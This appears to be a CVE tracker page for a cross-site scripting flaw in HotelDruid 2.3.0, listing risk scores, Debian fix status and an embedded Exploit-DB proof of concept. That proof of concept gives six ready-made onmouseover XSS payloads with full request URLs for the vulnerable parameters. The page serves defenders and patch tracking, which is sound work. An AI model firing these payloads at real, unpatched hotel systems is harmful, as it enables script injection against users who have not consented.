CVE-2019-8937

unknown

Published — · Modified —

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

1.0

Description

HotelDruid 2.3.0 has XSS affecting the nsextt, cambia1, mese_fine, origine, and anno parameters in creaprezzi.php, tabella3.php, personalizza.php, and visualizza_tabelle.php.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-46429 webapps php text · 7 KB

Mehmet EMIROGLU · 2019-02-20

HotelDruid 2.3 - Cross-Site Scripting

text exploit Source: Exploit-DB

===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'nsextt' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : nsextt
# Attack Pattern : x%22+onmouseover%3dalert(0x000981)+x%3d%22
# GET Request : http://localhost/hoteldruid/visualizza_tabelle.php?nsextt=x"
onmouseover=alert(0x000981) x="
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'cambia1' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : cambia1
# Attack Pattern : " onmouseover="alert(8562604)
# POST Request :
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671"
onmouseover="alert(8562604)
# https://i.hizliresim.com/6avvoE.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'mese_fine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : mese_fine
# Attack Pattern : " onmouseover="alert(6520859)
# POST Request :
http://localhost/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"
onmouseover="alert(6520859)
# https://i.hizliresim.com/v6NAzD.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : origine
# Attack Pattern : " onmouseover="alert(8987004))
# POST Request :
http://localhost/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"
onmouseover="alert(8987004)
# https://i.hizliresim.com/v6NAmO.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'anno' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : anno
# Attack Pattern : " onmouseover="alert(1548690)
# POST Request :
http://localhost/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"
onmouseover="alert(1548690)
# https://i.hizliresim.com/EmAW68.jpg
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Hoteldruid 2.3 - 'origine' XSS Injection
# CVE: CVE-2019-8937
# Date: 18-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/hoteldruid/
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: v2.3
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: HotelDruid is a property management system (PMS)
designed to make hotel and hostel rooms
  bed and breakfast apartments, or any other kind of daily rental easy to
manage from a web browser.
===========================================================================================
# POC - XSS
# Parameters : origine
# Attack Pattern : " onmouseover="alert(6332576)
# POST Request :
http://localhost/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"
onmouseover="alert(6332576)
# https://i.hizliresim.com/EmAW68.jpg
===========================================================================================

OS impact

Debian Fixed 3 releases

Version	Status	Fixed in
sid	Fixed	`2.3.2-1`
bullseye	Fixed	`2.3.2-1`
bookworm	Fixed	`2.3.2-1`

References

https://security-tracker.debian.org/tracker/CVE-2019-8937

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.